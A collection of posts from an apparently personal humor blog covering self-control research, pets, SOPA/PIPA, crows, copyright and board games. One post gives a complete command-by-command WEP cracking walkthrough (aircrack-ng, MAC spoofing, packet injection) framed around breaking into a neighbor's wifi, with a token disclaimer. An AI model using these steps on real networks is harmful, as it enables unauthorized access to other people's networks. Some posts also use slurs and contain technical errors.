Self-Control part II: How to eat the marshmallow and not be a giant douche-shaped leech on society

So, last time we talked about how it turns out all you need in life is the ability to wait 15 minutes before getting what you want.

Well, actually, I just lectured at you.  To be totally precise, you read it and I wrote it and at no point were we ever within speaking distance.  Unless, of course, you're that lucky reader I've been stalking.  You read the blog right before you go to sleep, and I watch you while you sleep like a character from Twilight.

Jesus, that's my second stalking joke in a week.  I need to get out more.

As I ended the last blog post, ever since the marshmallow experiment, the prevailing opinion on self control has been that it works like a limited resource-- you have so much of an ability to focus on a task and/or delay getting what you want, and as you deplete the amount of self control you have, the worse you become at focusing until you need to take a break or you'll just start saying obscene things in public, like some kind of torrent of hateful bullshit.

 Maybe Santorum worked really hard when no one was around, and during public events just couldn't help himself?

There is, in fact, a lot of papers that seem to support this view.  Chapters of textbooks have been written with this perspective in mind.  It's a popular theory, and seems to check out-- people show the same sort of behavior with a depletion of self-control as they might with a depletion of strength or energy.  Generally, people like to lump self-control in with a sort of "willpower" pool that people have-- you expend so much will to get a task done (or resist performing a task) and then after that you have less willpower to use for other tasks.

I think its safe to say that psychologists are avid fans of tabletop games.  Or D&D is actually a crowning achievement in person modeling.

So, all of this is well and good, but what do you do if your willpower pool sucks ass?  Go out and find a tome of +4 willpower?

Well, you can try to start small-- it turns out, successfully completing a task, or keeping a schedule, or resisting temptation refunds your willpower pool somewhat and also expands it for future use, so the best way to go about getting more willpower is to just brush your teeth every morning.  Or keep some other trivial resolution.

Seriously guys, I think we're on to the most lifelike RP ever. 

 

So then, by keeping an easy goal, you can build up your self-control.  And then move on to harder goals, and build up your self-control more until you snowball and become a Buddhist monk.  If, of course, self-control is a limited resource after all.

Newer studies show that self-control (and maybe overall willpower) is tied to several other things, most of them dealing with emotions.  The ability to focus on one task you don't want to do may be tied to things like perceived task difficulty, emotional state, attention span, personal beliefs about willpower and feedback on the task at hand.

Looking at the aggregate of those qualities, you may be able to boost your self-control by simply believing that what you're working on is easy and that you have massive stores of willpower.  Of course, trying to go this route and then not being able to deliver means that you'll either end up an entitled crackhead, or crushingly depressed.

So yeah, maybe go for the small steps at a time method.

Self-Control, part 1: Marshmallows

Self control.  Its a pretty ubiquitous trait, especially in modern times.  It turns out, you can't just brain the asshole walking 0.0005 mph (and somehow managing to block your every attempt to pass him) with your stone club.

Hell, even Andrew Jackson lived in different times- if he disagreed with you, he'd just slap your face with a white glove, laugh a bit, and then shoot you.  And he was an American president.  Nowadays, if you tried to do that, people would be clamoring for you be put in prison for some silly thing called "first degree murder".

Life was simpler back then, is what I'm saying.  Because you didn't have to exercise nearly as much self-control.

Has anyone ever used the "roleplaying as the seventh president" defense for shooting someone? 

Historical musing aside, life is complicated and self control pretty much permiates throughout our entire existence.  And not in the 'don't murder everyone' way.  The ability to turn down a short term gain, or something you want to do in the heat of the moment, is pretty essental for you to get just about anywhere in life.

And, as you might expect, scientists have been researching the ever-loving shit out of self control.  Actually, I take that back, psychologists have been studying the ever-loving shit out of self control.  And if I've learned anything from my college education, its that psychologists guestimate and real scientists do not.

But don't ever say that out loud.  A psych major will repel down the celling like a damn specal forces secret agent to come and tell you how wrong you are.  Which is a thing that happened to me.

Psychologists are the ninjas of academia

But, back to self control.  I'm sure all of you know about the Standford marshmallow experiment.  What the researchers did was place a bunch of kids, from ages 4 - 6, in a room, and gave each of them a marshmallow (or treat of their choice, but I like the word marshmallow).  The scientists then told all of the kids that they were going to leave.  If a child did not eat the marshmallow, when the scientists got back, that kid would get a second marshmallow.  The researchers then left the room for fifteen minutes.

What fallowed was an epic test of will as the children struggled to not eat the marshmallow.  Well, most struggled- a minority ate the marshmallow as soon as they saw it on the table.  Because fuck you, marshmallow.  But the rest of them stared down the marshmallow, straining to resist its foul temptations.  They searched despertly for the inner resolve to resist the seductive whisperings of "eat me" coming from the marshmallow.  They strained, they fought, they battled.

And in the end, only a third of the kids managed to get two marshmallows.

Although older kids were generally better at it than the younger kids (which was what the research was trying to prove), it turns out that those that got two marshmallows are, to this day, better overall human beings than their marshmallow eating friends.  In just about every possible aspect.

In a followup 10 years later, the researchers found out that those who did not eat the marshmallow out-scored the other kids by a whopping 200 points on the SAT.

In many other follow ups throughout the years, kids who have a better innate ability to put off instant gratification do better in college, are thinner (see previous post about obesity), have a clean criminal record and higher annual incomes.

 It's "I can wait 15 minutes to get what I want" man! 

It's pretty clear then, that to be successful, you don't actually have to be pretty, have any talent or be smart.  You just have to not eat the damn marshmallow.

Due to the ages of the initial study, however, the results also imply that the amount of self-control you have is innate.  You're born with x ability to resist getting what you want right now. If you didn't get it big in the genetic lottery, well, sorry.  Guess you get to be a garbage man.

But the story doesn't end there.  See you guys next time for part II: how you can eat the marshmallow and not be a giant douche-shaped leech on society.

Crazy Homosexuality Myths, A Cross Section.

Don't let the unicorns, ponies, rainbows and love of the color purple deceive you, I'm single and free (ladies).

That being said, I have some great friends who are gay, and sometimes we hang out in public, and sometimes they like to make people think we're a couple, and sometimes it ends in me buying them drinks at a bar.

Believe it or not, that story is a lot longer and more boring than you might expect.

You see that girl in the right part of the shot that wants to die?  That would be you if we went into details.

It should come as no suprise that I'm pretty pro gay rights and all that.  I won't dig into it, as you can find better sources on that debate.  I will, however, say that it is kinda silly that its a debate at all, but that's a minor amount silliness compared to what we're about to delve into:

The absolutely bat-shit bonkers fringe theories about homosexuals.  Because, holy shit, bitches be crazy, yo.

First things first, I don't know if you were aware, but it turns out homosexuals are actually unicorns.  I know, right?  Duh.  It all fits!  Obviously, unicorns must have been left behind when Noah sailed on his arc, and managed to use their magic to survive the flood.  But they didn't want to bring God's wrath back down on the world, so they used an ancient unicorn magical ritual under the light of a full moon to become gay men.

This works because unicorns reproduce asexually via spores.  Which, of course, you already knew.

No one move, its a gay man in his natural form!

Well, if gay people aren't unicorns, then where do they come from?

Porn.  Which of course you saw coming, obviously.  Because literally an entire industry built around the concept of having sex with just about whatever you want will eventually make you want to have sex with people of your gender, and only of your gender.

Never you mind that gay porn only accounts for about 10 to 15 percent of the market.  Porn makes you gay.  Which, now that we've finally figured this out, means that we should be able to hit the porn market right where it hurts-- adolescent boys.  Because, you see, boys are naturally homophobic and if told porn will make them gay, will stop buying porn.

It's airtight.

There is some weirdness on the other side of the rainbow colored banister as well.  Being gay is really complicated, apparently-- there are just as many steps to kicking an alcohol addiction than to figure out your sexuality.  Because figuring out what kind of sex your into is just as complex as trying to kick a drug your body has become dependent on.

And here I was thinking that you just sorta drunkenly one-night-standed your way through figuring out what you were into.  Huh.

I could do this all day, to be honest.  But I'll keep the rest around for a rainy day when I don't feel like writing.

Oh, and by the way, Jesus was gay.

Hilarity: Insanty + Illegality

First for all my Bronies in the audience (if you're not down with ponies, then scroll down till you hit this: ***):

I'm now a developer for MLPOnline, a fan made pony mmo.  It's pretty awesome.  It has a website and everything: www.mlponline.net (click on demos to see some of the things we've got going on).  The website is a little dead- there is more action going on at the DA page.

My grand total sum of work has been to eat up bandwidth like a worm from Dune getting all the source code and web development tools.  However, if you want to follow it through development, go right ahead.  If you want to advertise it, go ahead even more.

If you want to help, well, that's up to the people actually running the show to decide, but the only time it ever hurts to ask is with your significant other.

Why am I developing an mmo?  More than just because I goddamn can and ponies rock.  I never turn down reasonable opportunities to write code, ever.  Game development and design is something I've always wanted to dabble in.  But, I was never able to get my shit together enough to try to do a game on my own.  This gives me a chance to learn how games are made, it'll actually look good on a resume (or as something to bring up during an interview) when it's done, and I do actually care about the subject material.

At any rate, I'm excited.  And if you're judging me, you can goddamn suck it.  Because you're reading my blog.

***

There are a verity of reasons why people might want to break the law- shits and giggles, revenge, greed, or because their neighbor's "No Trespassing" was goddamn asking for someone to streak naked on his lawn while singing "Peanut Butter Jelly Time".

I dig that.  Not you naked.  Dear God not that.  Put some clothes on, you're embarrassing yourself.
 

But I always do my online shopping without clothes!

All things considered, there are some times when breaking the law not only makes no sense, but also proves that you need help.  Lots and lots of help.  Also, it's hilarious.

For example, lightsabers are a physical impossibility.  They're just too bad ass to possibly exist in this universe.  If anyone actually figured out how to get a beam of light to 7 quadrillion degrees and make it about "yeh" long, a comet would come out of the sky and murder him.

Mother Nature can't handle lightsabers up in her shit.

So, when you want to go on a mass murder spree with a lightsaber, it turns into you running around Toys 'R' Us hitting people with plastic toy sabers instead.  True Story.  It gets better when you learn that the man in question- dual wielding lightsabers like a boss- actually had a show down with the police and managed to deflect two taser shots.

Damn.  That's just impressive.  The force may have very well been with him.

No one knows for sure if he was trained by the Star Wars Kid

Of course, other types of crime can be just as fun.  We've all heard jokes about retarded people passing school because they got a nerdy friend (read as: victim) to hack into the computer system and change all the grades in return for not getting a swirly that week.

Turns out that happens in real life, but the nerds make a goddamn killing to the tune of $300 to change an overall B to an A and $50 to change a test score.  I almost want to give them more props than the Jedi in training up there.  Not for hacking a high school computer system, I used to break the firewalls in my high school's system just to show that they could be broken.

But, having the balls to charge that much of fellow high school students?  Wow.  In high school, when I got enough money to eat out at McDonalds, I was freaking loaded.

And sometimes, its not the crime itself, but who commits the crime that's amazing.  For example, take Beezow Doo-Doo Zopittybop-Bop-Bop.

Yes, that's an actual name and not something I stole from Bill Cosby.  I know this because he has an arrest record.  What makes it even better is that his bizarre name is not the combination of a pair of hippie parents and an unfortunately timed hell of an acid trip, he chose that name himself.  He changed it from Jeffery, which isn't honestly that bad.

I guess he's stickin' it to the man somehow?  Or something?

Things Trying to get Into Your Head: Your Pets

I'm not much of a pet person to be totally honest.  Yes, puppies/kittens/giant pythons are adorable and all, but they also leave fur/snake skin all over the place.  They also make your house smell like an unfortunate combination of sweaty fat man and the the Great Pacific Ocean Garbage Patch.  Also, the bastards are all kinds of emotionally manipulative and they know it.

If I look cute enough, he won't mind the puke all over his clean laundry!

Seriously.  We all know that one lady with the entire feline population of a small country living in her house.  You don't really want to talk to her, you hate going over there and every night you keep up the same mental mantra: I swear to every higher power I can name, I will never, ever end up like that crazy cat lady.  I might end up dying in prision through a horrible combination of drinking pruno and getting raped, but at least I'll be better off than the crazy cat lady.

That could also be just me.

You see, the thing about crazy cat lady (CCL for short- using an acronym will also make me sound smart), is that the cats are her furry little children.  CCL exhibits the same behavior we expect mothers to show their little ones, except with her cats.  It is fucking terrifying to watch.

Watch the video- I won't describe it in text.  That is a CCL in her full glory.  Complete with a shining song about the greatest cat in the United States, Champer-Damper.

Also, I think she can be euthanized in 10 different states.

Men may also not be safe from CCL-like problems.  It is true that men generally bond better with dogs.  The research is still ongoing and nature likes symmetry, so I wouldn't be remotely shocked if puppies can replace kids for men, just like cats replace kids for women.  We don't see crazy dog guys because men already are under pressure to drink and be manly from society, but I've covered that already.

I'm not anti-pets at all, don't get me wrong.  I do want a cat (just one, no more), but I also want to name the cat Plato so I can yell at an ancient Greek philosopher to get off the counter.  Other name ideas I'm thinking about are those that have some religious significance.

Bad cat!  I told you not to go in there, Mohammad!

What ever happened to winter?

*Update on politics: SOPA/PIPA are unlikely to be passed during this session of congress, which may as well be chalked up as a win for the Internet.  Megaupload got taken down, which totally sucks for a lot of people.  Hackers responded by bringing down some pretty government wall paper.  Meanwhile, the MPAA made a total ass of itself.  Good to see that even special needs people can flourish in today's society and become leaders of large organizations*

I'm almost positive that whatever runs the weather has been trolling the shit out of me.  I mean, we're in January, also known as one of the winter months.  It should be, oh, I don't know, mildly cold outside?  As in, shorts and a T-shirt should not seem like a comfortable clothing combination if you're significantly north of the equator.

And yet, when I go outside (this does happen- but it's rarer than finding a shiny pokemon) shorts and a t-shirt seem like a good idea.  Ignoring any and all complaints about a lack of fashion sense, actually looking decent, wearing pony gear, etc, of course.

Point being that it's really damn warm for winter.  Really, really damn warm.  Annoyingly warm.

And since building my country-wide blizzard doomsday device has suffered several setbacks due to the fact that you apparently can't import black market plutonium and that cold fusion hasn't been invented yet, unless you're trying to steal money from people.

Other setbacks- Arnold doesn't want to deliver really bad one liners for me

But, horrible Batman movies aside, I'm not the only one getting irritated that the weather is rather temperate and pleasant.  This mild winter totally sucks if you're a farmer and you rely on a large-ish snow pack to prevent spring droughts.  In fact, the entire US has been undergoing a shit load of not snow, as more than 95% of the US has had below average snow cover.

Why?  I'll wait until Al Gore is done shrieking about global warming.

He isn't going to stop any time soon?  Damn.  Alright, on with it then.

It turns out, climate is really complicated.  According to smart people who look at clouds all day, the reason for this stupidly warm winter is the lower edge of an atmospheric pressure pattern called the Arctic Oscillation.  This lower edge is called the North Atlantic Oscillation (NAO), and has been screwing with the jet stream like a really persistent stalker.

The jet stream is a current of air that we more or less rely on to keep temperatures where we expect them.  When it deviates, we get a change in climate.  And it's been hanging out in the North Pole, probably trying to start it's own Occupy protest because it didn't get what it wanted for Christmas.  And as such, it's been cock blocking the cold fronts we usually get when winter happens.

Why is the NAO allowing the jet stream to hang out like a house guest whose welcome wore out two weeks ago?  Scientists got shit.  Some are claiming global warming (duh).  Others have decided that its the sun's fault due to high sunspot activity- then they went back to playing Minecraft.

Personally, I blame Santa.  1% of all the world is hogging 99% of all the cold air.

Ho, Ho, Ho, motherfucker

Update:  After I wrote this, the state of Washington went and declared a state of emergency due to having stupidly large amounts of snow fall (over 24 inches.  You could loose an entire midget in that).  Either this is an example of local weather not actually reflecting climate, or Mother Nature is pantsing climatologists again. 

Both are equally likely.

SOPA and PIPA

I'm not gonna lie, I'm a little scared of this post.

The pair of legislation- SOPA and PIPA in the US House and Senate- is not an easy thing to tackle.  This isn't like finding fun facts about crows or looking at statistics in porn or bitching about the space program or defending the color purple.

This stuff is serious.  This stuff is a legit issue.

I was going to ignore it, or tactfully dance around it while talking about other things, but then the Internet went and blacked the hell out, making it a big issue.  As they rightfully should have.  But I can't just ignore it anymore- and neither, as a blog reader, can you.

Because it's just plain ignorant to do so now.  That's the opposite of what the blog was started to do.  Time to man up.

Just like Jesus would have wanted

In brief summery, the bills are an attempt stop online piracy.  They allow the U.S. Department of Justice and copyright holders to seek court orders against websites accused of copyright infringement, or accused of spreading copyright infringement.  The court order could include barring online advertising from the website, barring search engines from linking to the website and requiring Internet Service Providers to block the website.

Also, it makes the streaming of copyrighted content a crime, with a maximum penalty of five years in prison.  Immunity is given to websites that help in rooting out online piracy, and given to websites that unknowingly host copyright infringing content.  Unknowing websites would still be liable for damages, however.

I tried to untangle the legalese, promise.

Lets get one thing out of the way- copyright infringement is bad news bears.  Period.  On a fundamental level, it's the theft of an idea.  I do not support that- if I found someone copying all my blog posts, I'd be a little pissed off.

I take it back, I'd be amused... unless they had more readers than I did.  Then I'd be calling in fire and brimstone like a vengeful Disney villain.

How I would try to stop copyright infringement.  This is also why I'm not good at politics

That being said, there are a few key points in the summary that leave me feeling like I swallowed cat vomit on purpose.

First, it doesn't sit well with me (much like cat vomit) that copyright holders can seek these court orders.  I'd feel a little better about the whole thing if they needed to go through a more complicated process with the Justice Department that involves some sort of proof of malicious intent/desire to profit.

I'm a big fan of due process and making sure some fictional amoral company isn't out to try and ruin it's competitors with this bill.  Which would be all the companies, as CEOs are generally goddamn psychopaths.

The next two issues are more complicated.  I'll handle the technical one first, then the legal one, and if you're not asleep by then I have some high grade chloroform.

The technical problems all stem from the whole "ISP's blocking websites" part.  Believe it or not, your ISP does not monitor your traffic- in fact, generally, your ISP could care less about what websites you visit.  Actually storing and checking all of that information would be a royal pain in the ass.

Think about the steps required to validate traffic for a second:
First, intercept every packet of data that goes through an ISP's gateway.  The largest size a packet can be is 1.5 Mb.  That's _tiny_ in today's web, a 30 second YouTube video could have up to three thousand of these packets (not all the packets are actual video data- there is a bit of overhead).

Never you mind the amount of data that an online game might generate.

Next, check the IP destination address of every packet.  This is easier than you might think, because IP addresses are always stored in the same place.  After that, compare the IP address to some table of blacklisted websites, and if you get  a match, drop or (even worse) reroute the packet or generate a reply that explains the content you're trying to access is blacklisted.

That's a lot of work.  I'll use numbers to help quantify how much effort just got placed on ISPs.  Let's say there are 10,000 blacklisted websites after SOPA gets passed.  IP addresses do map to a general ordering (numerically), so the number of steps it would take to search the list for a match is log(10,000), or 4.

That doesn't seem like a lot, you say.  But watch.

Every packet has to be checked, so our fictional you tube video would have to go though 12,000 steps, plus the steps required for the request packet (under the best circumstances, 4).  And it would have to undergo all these steps at each new gateway hop.

I did a trace route on my laptop on my university's network accessing part of my university's website.  I had to go through three hops to get there.

This gives us a grand total of something like 36,012 additional steps for a 30 second clip of How I Met Your Mother if you happened to be on the same network the video was hosted on.

I like to think Barney would appreciate the amount of computational complexity required to watch him

And that's not even the part of the bill anyone is complaining about from a technical side.  All the math geeks are more worried about the extra load on DNS servers as they now have to blacklist name queries for copyright infringing content.  That shit is easy (as DNS request packets are singular, leading up to only 24 additional steps).  But you'd need to do the IP based scanning and blocking as well, or else we'd just go back to memorizing the IP addresses and not the URLs of our favorite pirate websites.

And yes, this means DNS packets would have to get IP scanned, so for our example, that's now 288 more steps.  You see how this stuff ramps up very quickly.

The fact is, when you look at the sheer amount of traffic on the Internet, it doesn't make any sense to try and filter all of it.  God forbid you start adding to the load by sending reply packets back saying that a website was blocked, especially if the ISPs end up getting staggered (ISP blacklists get de-standardized, as one ISP starts blocking a website another ISP doesn't know about).

And again, I haven't even started on the first amendment stuff or privacy stuff yet, so lets dig into that, shall we?

First, a picture:

It's a new thing- brass bands and rap.  The guy in the center is gonna lay down some phat rhymes

Now, lets play a fun game- how does this violate SOPA?

If you answered, it doesn't, stop using your brain and really look.  No, not at the subject of the picture, at the background.  That's the Foot Locker logo back there, and as such, is copyrighted.  I assure you, no one took a picture of street performers and then checked with Foot Locker if it was OK to post online.

You see, with the language of the bill at it's current spot, stuff like this (which isn't a bad picture, to be honest) would be taken down along with all the other pirate websites.  This is how SOPA is purposed to work.

And within lies the rub- intellectual property (what SOPA is really trying to protect) is a very hard thing to define.  When are you simply taking pictures in front of a giant fucking sign, and when are you actively trying to steal the idea on the sign?  What it all comes down to, at some point, we- as a culture- lost respect for artists.

That's what this is all about- not corporations trying to get money, not about the US trying to censor things.  It's about art (and the most popular way to consume art, entertainment).  At some point (right around when Napster started) we stopped giving any value to creative efforts.  Why bother paying for them when we could get them for free, after all?

It was a bitch having to go to the store and actually pick out a song we wanted to hear.  But you did it anyway, you got the CD just to find out that all the other tracks sucked ass.

Why do all of that when you could get the song you actually wanted for free?  Why just stop at one song for free, might as well get the whole album too.  Hell, screw that, just get the entire disography, maybe you'll dig the sucky parts later.  Never any thought like, "wait- maybe the person on the other end needs money to survive?  And that if I value something, maybe I should pay for it?"

This isn't a problem with other things (like food.  Or computers).  We seem to have the market concept down when it comes to tangible, actual things.  But after we cheapened music, we cheapened software- video games, primarily.  Then we cheapened images (do Google searches for copying images from devantART).

Something like SOPA or PIPA needs to exist to try and give value back to creative efforts.  There are ways for creative efforts to exist within this new "entertainment is a free right" society we have now- just look at My Little Pony for a great example- but it shouldn't be that way.  I don't know the right answer. I do know the wrong one, however.

SOPA and PIPA are well meaning, but at the end of the day, impractical and silly.  I think that with some more discussion, perhaps some temperance and moderation- we can find a way to make everyone happy.

Or they'll send me back to magic kindergarden...

First things first, sorry about yesterday.  The Internet still doesn't work at my house because I have made abosultly no move to try and fix it.  I blame the fact that my uncle gave me ALL THE BOOKS I EVER WANTED for Christmas, and I'm basically a bookoholic.  There is no middle ground for me, just like there is no "drinking for taste" for the drunk.

One sip/sentence, and we're fucked up beyond all reason.

George R.R. Martin is ruining my life

So, I'm crouching here, in my neighbor's fucking bushes with my netbook and my trusty 8 gb flash drive, hacking his WPA2 protected password to get on his wifi, and because I don't want to get caught in the act (not that he knows how, but one can never be to careful...) I'm also covering my tracks by pretending to be one of his own computers.  It's less tricky than it sounds, to be honest.

Because the Starks would love the current weather, and I don't have time to actually research a cool post, I'm going to go over the much easier task of hacking a WEP password using some cool programs anyone can download.

I give you power tonight.  Tonight you become men.

If reading isn't your thing, check the video version out.

To start, your hardware sucks and needs upgrading.  You'll need a wireless adapter that can inject packets, and the one that comes with your computer can't do that, Dave.  They're super cheap (some dude is selling his favorite brand of air-crack router for $12 on e-bay).  I recommend the Alfa AWUS036H, but There are tons of options out there.

Next, you'll need to boot to backtrack- which is a version of the Linux operating system.  You can create a boot CD, or install it on a flash drive, so you can use it without needing to isntall it on your system.Check here for how to do this, I'm getting really damn cold and don't feel like going into it.  Be warned, backtrack is based in UNIX, so you'll need to put your big boy pants on and handle a real operating system.

Now, after you boot into backtrack, open up the provided comand prompt, Konsole, and start typing in commands.  This is known as the fun part.  It's a 10 step process, so be warned- this shit is a bit advanced.  I have faith in none of you being retarded, however.  All in all, the thing you need most is patence.  And don't suck at typing.
To start, you'll want to type: airmon-ng

This should return a list of network interfaces.  Pick the shiny new you you just bought to break into people's wireless- and keep track of the name.  You'll want to use the name in palce of the (interface) tags for these next few lines:

airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)

Conrats!  You now look like you are a new computer on the interface with the MAC address of 00:11:22:33:44:55.  MAC addresses are unique addresses given to each computer when they're manufactured.  They're hardware enforced, so you can't change yours after you get your PC, but you can pretend you have a different one (which is what you're doing now).

Time to pick a victim.  The next command is:
airodump-ng (interface)

This will return a list of the wireless networks around you.  Figure out which one you want to hack, then type:

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)

(channel) is your network's channel, (file name) is something descriptive you can remember later, (bssid) is the BSSID of the network you want to hack and (interface) is the same as always.

Leave the result you get from that command be.  Open a new window and type:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

The new tag (essid) is the SSID of the network you want to crack.  This also should have been visible when you went hunting for a victim a few steps back.  What you've done, in a nutshell, is let yourself snoop on the network.  Now its time to generate a ton of traffic to create a crack to get you in for real.  Next step, type:
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

Still with me? That's fantastic! What we've done here is generate extra router traffic to speed up the crack.  However, even with the extra traffic, this still takes about one forever.  Leave.  Get a sandwitch.  Go read a book.  You'll want to wait until #Data goes over 10k.  After that happens, open a third konsole window and type the last command:
aircrack-ng -b (bssid) (file name-01.cap)

If the coding gods are with you, you'll get a KEY FOUND message (if not, you'll need to collect more data.  Make another sandwitch or play Minecraft or something).   The WEP key will appear next to the KEY FOUND, just enter it in without the colons and congratulate yourself, you just broke into a wireless network.

DISCLAMER: Stealing and breaking and entering are bad.  My neighbor and I are very good friends, I wouldn't be breaking into his wireless if I wasn't sure he wouldn't really mind.   This is a handy trick if you ever forget your WEP key and don't want to have to reset everything to get it (maybe you share a network with other people and bringing the whole thing down would be very bad).

I'm off to bed... happy hacking!

Birds: Only Getting Smarter

We generally seem to understand which species will probably rise up to murder us.   Not that there are that many- as a race, humans are pretty damn good at killing the fuck out of Nature.  And to be honest, nine times out of ten, mother nature probably deserves it.  Because mother nature is a bit of a dick.

I sorta blame Mother Nature for The Happening.   Just a little bit.

I mean, you've got to keep tabs on the primates, because even though we evolved from them, you never know when they might get funny and decide to try evolution again.   You know, like a family that randomly decides to have a second child after the first is throwing up on them.

And then you got termites, which are terrifying because they build 30-foot tall mega cities, complete with vents for crude AC.  And the various horrors that live under the ocean, that if they were to gain any sort of higher brain function, would take over the Earth in a matter of seconds.

This is not an Elder God.  It actually exists, right now.

However, if you ask me, Hitchcock was on to something with The Birds.

It turns out that not only can crows recognize and remember human faces (so, if you ever cheat a crow out of a bet, that crow knows its you, and will probably peck your eyes out), but they also can use metatools (tools meant to manipulate other tools) also known as simple machines.

This puts crows on the level of humans, primates and elephants in cognitive tool use.  Also known as FUCK, THE BIRD THAT KNOWS MY FACE CAN FIGURE OUT A SPEAR.

You might think that this was an isolated development, that one crow just got really damn lucky a few times. Well, your goddamn wrong because crows can learn from each other.  So, that fucking crow that know and remembers your face, that knows how a spear works has already told all its friends.  And now they're all out to get you.

The crow, right before they start a new sky empire and destroy humanity.

Copyright laws and IPs- finally comming around to haunt the Internet

I do believe it was Shakespeare who first uttered the legendary "This shit writes itself" quote, but it could have been Mark Twain.

Because both writers are so damn similar and everything.  I was worried this was going to be the first day I would miss my posting schedule without a forwarding or at least  an apology.  It's 9:23 right now my time, I've been in a pair of restricted labs all day and I won't lie, writing up something for the blog slipped my mind.

This is one of the labs I work in.  You may now place bets on what I do.

I could have tried to pirate the post.  Steal someone else's idea, hope to the flying spaghetti monster that they actually did decent research and just copy and paste.  It would be a little fitting, to be honest.  Considering how much piracy and file sharing goes on the Internet these days, a stolen blog post would be really funny in a not-funny-at-all hipsterish way.

But I hear hipsters don't like mathematics (the language that describes the universe) because it's too mainstream (the entire universe digs it), so they can go screw themselves as far as I'm concerned.  Also, I hear hipsters find sex to mainstream, so be prepared to have a "physical-love-conjuncture" instead.  Because that's so romantic.

Yeah, a nerd is calling out a hispter for sucking at romance.  It may not get any more ironic... aw, shit.

Anyway, I didn't have to go hipsterfy myself because I got more lucky than the Lucky Charms mascot, who isn't lucky that he still has his cereal- he has magic for that- but is incredibly lucky those kids haven't murdered the hell out of him yet.  Everyone knows a young child will do what it takes for marshmallows.  Whatever. It. Takes.

Now that I look at a box, Lucky's lucky his cocaine high hasn't ended yet

So, away from making fun of cereal box mascots and back to tech.  It turns out that the RIAA pirates the living fuck out of TV shows.  How many many TV shows?  Try something along the lines of nine million dollars worth of TV shows.

Daaaaaamn.  That takes dedication.  Like, wow.  You have to be intentionally creating things just to steal them to steal that much.  Oh wait- it was full seasons of just Dexter?  Just that one show?  That was worth nine million dollars?

Now, this is mildly unfair to RIAA- because to get to nine million, we have to play by their own outrageous rules.  In order for one to that high, you simply use the RIAA guidelines that the shareholders can sue for $150,000 dollars an episode, or maybe more, depending on how you look at the phrase "copyrighted works".  Is each word copyrighted?  Each line?  How about the opening theme, is that an additional one hundred and fifty thousand dollars?  Or any original bit of music from the sound track?

Considering the recent debacle with the Megaupload song and Universal, a lot of old copyright protection techniques just seem retarded in this day and age.

Also, Youtube (and by extension, Google) doesn't have a soul or a lick of backbone, as apparently Universal has a contract with Youtube that lets them use the content management system to take down videos that have nothing to do with copyright infringement.

Meanwhile, people who fight for a traditional implementation of copyright law are often found the biggest perpetrators of file sharing- movie studios are often caught pirating their own movies.

The whole damn thing is sorta ironic- maybe the hipsters and I have more in common than I like.

And some of us should have our Internet taken away

First things first, look up there.

See that shiny new awesome page link up there?  That's where the novel will be posted.  I'll just tack on more and more paragraphs as I go, and by the end of it, I should have a text file so large that Blogger better give me a complaint e-mail.

And I think that wraps up today's post.  Go check out the NaNoWriMo stuff.  Its awesome.  Ta da!  Done!

What do you mean you want a normal post?  What the hell do you think I am, a attention whore who only writes a blog because he prays that the Internet will somehow magically find it and make him famous for 3 seconds?

Well, that is all true, but that... oh.  Yeah, I guess I should keep this going if I want to keep what readership I have.  So, what shall I rant about today?  hmm...  people doing strange things?  nah.  Robots?  Nah.  Oh, I know, I'll do both!  Lets look at the Internet.

The Internet: Strange People, Robots and Porn

As most of you probably know, the Internet is full of crazy people spouting off crazy things.  Most of the time its all pretty harmless, usually just passes about your mother's colorful life, references to that proverbial whore "she" or some of the best insults you've ever heard.

However, every once and a while, crazy decides to up its game.  Take it to the next level of "what-the-fuck-are-you-serious-right-now".  This time the retarded has inflicted a particular Judi McLeod, as she has decided to rant and rave about something very minor.  It would seem that on November 9th, the FCC is going to perform a nationwide test of the EAS (Emergency Alert System).

It'll last for about 3 minutes, in which, apparently. will cause motorists to spontaneously crash as they check their radios.  Because... people still listen use their radios?   Also, this is clearly a government plan because of the fact that when you look at the date the way the Europeans do, it looks like 9/11!  HOLY SHIT.  STOP THE MOTHERFUCKING PRESSES.  Oh wait, the FCC is apparently doing that for 3 whole minutes.  Which, clearly, will cause everyone to die!

Also, this lady is tragically misinformed about how the Internet is privately owned, and therefore not regulated by the FCC and can't be shut down for an EAS test.  But you know, deducing that would require the use of sense and sanity which this woman clearly lacks.

To be fair, most of the denizens of the Internet also lack those things

However, if you want to really dive into crazy, try the comments section.  That'll fill your crazy person quota for months.  And hopefully, most of those people are just being assholes for the sake of being an asshole and  not being held accountable for it.  Still, even one of those people has enough crazy to fill a small town in a Steven King novel.

Board Games: Serious Business

Everyone has there own value system.  I get that- we all find different things important.  For example, if I were to start talked about mathematical algorithm analysis and optimization, most of you would either stab me in the throat to make the words stop coming, or offer me your wallet in an attempt to bribe me to shut up.

In fact, this is my primary source of income.  I've gotten very good at dodging knife thrusts to the throat.

There is, however, some things we all take way to seriously.  Things that always start out as a night of family fun and end up with doors slammed, kids crying and spouses threatening divorce.  In fact, when they made a video game based on these things, it became the quickest way to turn your friends into your enemies.  Mario Party, I'm looking at you.

Kart racing takes a very close second.

Board Games.  Maybe it stems from the fact that we all have that memory of having a Candyland victory robbed from us by getting that godforsaken Plumpy card right as we're about to win, or maybe it stems later, when you can't get your first whore of a peg on the game field in Sorry for ten turns because the dice refuse to grant you a 6.

No matter what the source, everyone always takes board games very seriously.  Its the inverse of bowling- in bowling, everything is hardcore until you get that first gutter ball-- then the shame breaks your resolve and you stop caring about the game.  With board games, everything starts out lighthearted and fun, then things slowly grow more and more serious until death threats become a common place.

The concept of Holy War does apply to friends/roommates/family over Chutes and Ladders

These games get so intense, that the freakin' British royal family is not allowed to play Monopoly because it "gets to vicious".  These are people that have had a centuries of breeding to make them diplomatic and restrained, and they can't even handle Monopoly.

Think you're better than them?  I'd be careful if I were you- people have been murdered over Monopoly (with the added benefit of the killers trying to make the corpse looked like it was raped), Chess (to be fair, the murderer was trying to get to death row- probably over the fact he lost a chess match), Checkers (although the murderer claims the victim accidentally stabbed himself to death with a shank), Dominoes (the killer actually hid out in an amusement park called "Joyland" after the incident), and Dice (where someone was killed over a six dollar gambling debt).

Oh, almost forgot about Yahtzee, where a mother was killed by her son for simply suggesting they play the game together.

Thank Christ she didn't suggest Risk, they would have went postal on the whole city block.

